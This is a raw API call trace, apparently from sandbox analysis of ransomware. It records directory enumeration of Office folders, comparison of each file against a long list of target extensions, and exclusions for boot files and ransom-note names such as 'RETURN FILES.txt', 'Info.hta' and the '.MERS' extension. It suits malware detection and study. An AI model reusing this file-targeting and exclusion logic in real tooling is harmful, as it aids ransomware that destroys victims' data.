lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dat") returned 4 [0259.743] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".db") returned 3 [0259.743] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0259.743] lstrlenW (lpString=".dbf") returned 4 [0259.743] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dbx") returned 4 [0259.743] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dc3") returned 4 [0259.743] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dcm") returned 4 [0259.743] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dcr") returned 4 [0259.743] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".der") returned 4 [0259.743] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dib") returned 4 [0259.743] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dic") returned 4 [0259.744] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dif") returned 4 [0259.744] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".divx") returned 5 [0259.744] lstrcmpiW (lpString1=".divx", lpString2="_.GIF") returned -1 [0259.744] lstrlenW (lpString=".djvu") returned 5 [0259.744] lstrcmpiW (lpString1=".djvu", lpString2="_.GIF") returned -1 [0259.744] lstrlenW (lpString=".dng") returned 4 [0259.744] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".doc") returned 4 [0259.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".docm") returned 5 [0259.744] lstrcmpiW (lpString1=".docm", lpString2="_.GIF") returned -1 [0259.744] lstrlenW (lpString=".docx") returned 5 [0259.744] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0259.744] lstrlenW (lpString=".dot") returned 4 [0259.744] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dotm") returned 5 [0259.744] lstrcmpiW (lpString1=".dotm", lpString2="_.GIF") returned -1 [0259.744] lstrlenW (lpString=".dotx") returned 5 [0259.744] lstrcmpiW (lpString1=".dotx", lpString2="_.GIF") returned -1 [0259.744] lstrlenW (lpString=".dpx") returned 4 [0259.744] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dqy") returned 4 [0259.744] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dsn") returned 4 [0259.744] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dt") returned 3 [0259.744] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0259.744] lstrlenW (lpString=".dtd") returned 4 [0259.744] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dwg") returned 4 [0259.744] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0259.744] lstrlenW (lpString=".dwt") returned 4 [0259.744] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".dx") returned 3 [0259.745] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0259.745] lstrlenW (lpString=".dxf") returned 4 [0259.745] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".edml") returned 5 [0259.745] lstrcmpiW (lpString1=".edml", lpString2="_.GIF") returned -1 [0259.745] lstrlenW (lpString=".efd") returned 4 [0259.745] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".elf") returned 4 [0259.745] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".emf") returned 4 [0259.745] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".emz") returned 4 [0259.745] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".epf") returned 4 [0259.745] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".eps") returned 4 [0259.745] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".epsf") returned 5 [0259.745] lstrcmpiW (lpString1=".epsf", lpString2="_.GIF") returned -1 [0259.745] lstrlenW (lpString=".epsp") returned 5 [0259.745] lstrcmpiW (lpString1=".epsp", lpString2="_.GIF") returned -1 [0259.745] lstrlenW (lpString=".erf") returned 4 [0259.745] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".exr") returned 4 [0259.745] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".f4v") returned 4 [0259.745] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0259.745] lstrlenW (lpString=".fido") returned 5 [0259.745] lstrcmpiW (lpString1=".fido", lpString2="_.GIF") returned -1 [0259.746] lstrlenW (lpString=".flm") returned 4 [0259.746] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0259.746] lstrlenW (lpString=".flv") returned 4 [0259.746] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0259.746] lstrlenW (lpString=".frm") returned 4 [0259.746] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0259.746] lstrlenW (lpString=".fxg") returned 4 [0259.746] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0259.746] lstrlenW (lpString=".geo") returned 4 [0259.746] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0259.746] lstrlenW (lpString=".gif") returned 4 [0259.746] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0259.746] lstrlenW (lpString="AG00011_.GIF") returned 12 [0259.746] lstrlenW (lpString=".MERS") returned 5 [0259.746] lstrcmpiW (lpString1=".MERS", lpString2="_.GIF") returned -1 [0259.746] lstrlenW (lpString="AG00011_.GIF") returned 12 [0259.746] lstrcmpiW (lpString1="boot.ini", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="bootfont.bin", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="ntldr", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="ntdetect.com", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="io.sys", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="Info.hta", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrcmpiW (lpString1="chrome64b.exe", lpString2="AG00011_.GIF") returned 1 [0259.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0259.746] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0259.746] lstrlenW (lpString="AG00021_.GIF") returned 12 [0259.746] lstrlenW (lpString=".1cd") returned 4 [0259.746] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0259.746] lstrlenW (lpString=".3ds") returned 4 [0259.752] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0259.752] lstrlenW (lpString="CUPINST.WMF") returned 11 [0259.752] lstrlenW (lpString=".1cd") returned 4 [0259.767] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0259.767] lstrlenW (lpString="J0099190.JPG") returned 12 [0260.828] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0260.956] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0261.178] RtlpDeCommitFreeBlock () [0261.178] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0261.178] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0261.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0261.178] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0261.178] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0261.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0261.178] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc65954d0, ftCreationTime.dwHighDateTime=0x1d48e2e, ftLastAccessTime.dwLowDateTime=0x228172d0, ftLastAccessTime.dwHighDateTime=0x1d4a778, ftLastWriteTime.dwLowDateTime=0x228172d0, ftLastWriteTime.dwHighDateTime=0x1d4a778, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="distinctiondollardemographic.exe", cAlternateFileName="DISTIN~1.EXE")) returned 1 [0261.183] RtlpDeCommitFreeBlock () [0261.183] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0261.186] RtlpDeCommitFreeBlock () [0261.186] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0261.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned 64 [0261.186] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned 1 [0261.186] lstrlenW (lpString="Theme Fonts") returned 11 [0261.186] lstrcmpiW (lpString1="C:\\Windows", lpString2="Theme Fonts") returned -1 [0261.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x45cc180 [0261.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned 64 [0261.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63eec8 [0261.190] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.191] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0261.192] lstrlenW (lpString="Adjacency.xml") returned 13 [0261.192] lstrlenW (lpString=".1cd") returned 4 [0261.192] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".3ds") returned 4 [0261.192] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".3fr") returned 4 [0261.192] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".3g2") returned 4 [0261.192] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".3gp") returned 4 [0261.192] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".7z") returned 3 [0261.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0261.192] lstrlenW (lpString=".accda") returned 6 [0261.192] lstrcmpiW (lpString1=".accda", lpString2="cy.xml") returned -1 [0261.192] lstrlenW (lpString=".accdb") returned 6 [0261.192] lstrcmpiW (lpString1=".accdb", lpString2="cy.xml") returned -1 [0261.192] lstrlenW (lpString=".accdc") returned 6 [0261.192] lstrcmpiW (lpString1=".accdc", lpString2="cy.xml") returned -1 [0261.192] lstrlenW (lpString=".accde") returned 6 [0261.192] lstrcmpiW (lpString1=".accde", lpString2="cy.xml") returned -1 [0261.192] lstrlenW (lpString=".accdt") returned 6 [0261.192] lstrcmpiW (lpString1=".accdt", lpString2="cy.xml") returned -1 [0261.192] lstrlenW (lpString=".accdw") returned 6 [0261.192] lstrcmpiW (lpString1=".accdw", lpString2="cy.xml") returned -1 [0261.192] lstrlenW (lpString=".adb") returned 4 [0261.192] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".adp") returned 4 [0261.192] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".ai") returned 3 [0261.192] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0261.192] lstrlenW (lpString=".ai3") returned 4 [0261.192] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0261.192] lstrlenW (lpString=".ai4") returned 4 [0261.193] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".ai5") returned 4 [0261.193] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".ai6") returned 4 [0261.193] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".ai7") returned 4 [0261.193] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".ai8") returned 4 [0261.193] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".anim") returned 5 [0261.193] lstrcmpiW (lpString1=".anim", lpString2="y.xml") returned -1 [0261.193] lstrlenW (lpString=".arw") returned 4 [0261.193] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".as") returned 3 [0261.193] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0261.193] lstrlenW (lpString=".asa") returned 4 [0261.193] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".asc") returned 4 [0261.193] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".ascx") returned 5 [0261.193] lstrcmpiW (lpString1=".ascx", lpString2="y.xml") returned -1 [0261.193] lstrlenW (lpString=".asm") returned 4 [0261.193] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".asmx") returned 5 [0261.193] lstrcmpiW (lpString1=".asmx", lpString2="y.xml") returned -1 [0261.193] lstrlenW (lpString=".asp") returned 4 [0261.193] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".aspx") returned 5 [0261.193] lstrcmpiW (lpString1=".aspx", lpString2="y.xml") returned -1 [0261.193] lstrlenW (lpString=".asr") returned 4 [0261.193] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".asx") returned 4 [0261.193] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0261.193] lstrlenW (lpString=".avi") returned 4 [0261.194] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".avs") returned 4 [0261.194] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".backup") returned 7 [0261.194] lstrcmpiW (lpString1=".backup", lpString2="ncy.xml") returned -1 [0261.194] lstrlenW (lpString=".bak") returned 4 [0261.194] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".bay") returned 4 [0261.194] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".bd") returned 3 [0261.194] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0261.194] lstrlenW (lpString=".bin") returned 4 [0261.194] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".bmp") returned 4 [0261.194] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".bz2") returned 4 [0261.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".c") returned 2 [0261.194] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0261.194] lstrlenW (lpString=".cdr") returned 4 [0261.194] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".cer") returned 4 [0261.194] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".cf") returned 3 [0261.194] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0261.194] lstrlenW (lpString=".cfc") returned 4 [0261.194] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".cfm") returned 4 [0261.194] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".cfml") returned 5 [0261.194] lstrcmpiW (lpString1=".cfml", lpString2="y.xml") returned -1 [0261.194] lstrlenW (lpString=".cfu") returned 4 [0261.194] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0261.194] lstrlenW (lpString=".chm") returned 4 [0261.195] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".cin") returned 4 [0261.195] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".class") returned 6 [0261.195] lstrcmpiW (lpString1=".class", lpString2="cy.xml") returned -1 [0261.195] lstrlenW (lpString=".clx") returned 4 [0261.195] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".config") returned 7 [0261.195] lstrcmpiW (lpString1=".config", lpString2="ncy.xml") returned -1 [0261.195] lstrlenW (lpString=".cpp") returned 4 [0261.195] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".cr2") returned 4 [0261.195] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".crt") returned 4 [0261.195] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".crw") returned 4 [0261.195] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".cs") returned 3 [0261.195] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0261.195] lstrlenW (lpString=".css") returned 4 [0261.195] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".csv") returned 4 [0261.195] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".cub") returned 4 [0261.195] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".dae") returned 4 [0261.195] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".dat") returned 4 [0261.195] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0261.195] lstrlenW (lpString=".db") returned 3 [0261.195] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0261.195] lstrlenW (lpString=".dbf") returned 4 [0261.196] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dbx") returned 4 [0261.196] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dc3") returned 4 [0261.196] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dcm") returned 4 [0261.196] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dcr") returned 4 [0261.196] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".der") returned 4 [0261.196] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dib") returned 4 [0261.196] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dic") returned 4 [0261.196] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dif") returned 4 [0261.196] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".divx") returned 5 [0261.196] lstrcmpiW (lpString1=".divx", lpString2="y.xml") returned -1 [0261.196] lstrlenW (lpString=".djvu") returned 5 [0261.196] lstrcmpiW (lpString1=".djvu", lpString2="y.xml") returned -1 [0261.196] lstrlenW (lpString=".dng") returned 4 [0261.196] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".doc") returned 4 [0261.196] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".docm") returned 5 [0261.196] lstrcmpiW (lpString1=".docm", lpString2="y.xml") returned -1 [0261.196] lstrlenW (lpString=".docx") returned 5 [0261.196] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0261.196] lstrlenW (lpString=".dot") returned 4 [0261.196] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0261.196] lstrlenW (lpString=".dotm") returned 5 [0261.196] lstrcmpiW (lpString1=".dotm", lpString2="y.xml") returned -1 [0261.197] lstrlenW (lpString=".dotx") returned 5 [0261.197] lstrcmpiW (lpString1=".dotx", lpString2="y.xml") returned -1 [0261.197] lstrlenW (lpString=".dpx") returned 4 [0261.197] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".dqy") returned 4 [0261.197] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".dsn") returned 4 [0261.197] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".dt") returned 3 [0261.197] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0261.197] lstrlenW (lpString=".dtd") returned 4 [0261.197] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".dwg") returned 4 [0261.197] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".dwt") returned 4 [0261.197] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".dx") returned 3 [0261.197] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0261.197] lstrlenW (lpString=".dxf") returned 4 [0261.197] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".edml") returned 5 [0261.197] lstrcmpiW (lpString1=".edml", lpString2="y.xml") returned -1 [0261.197] lstrlenW (lpString=".efd") returned 4 [0261.197] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".elf") returned 4 [0261.197] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 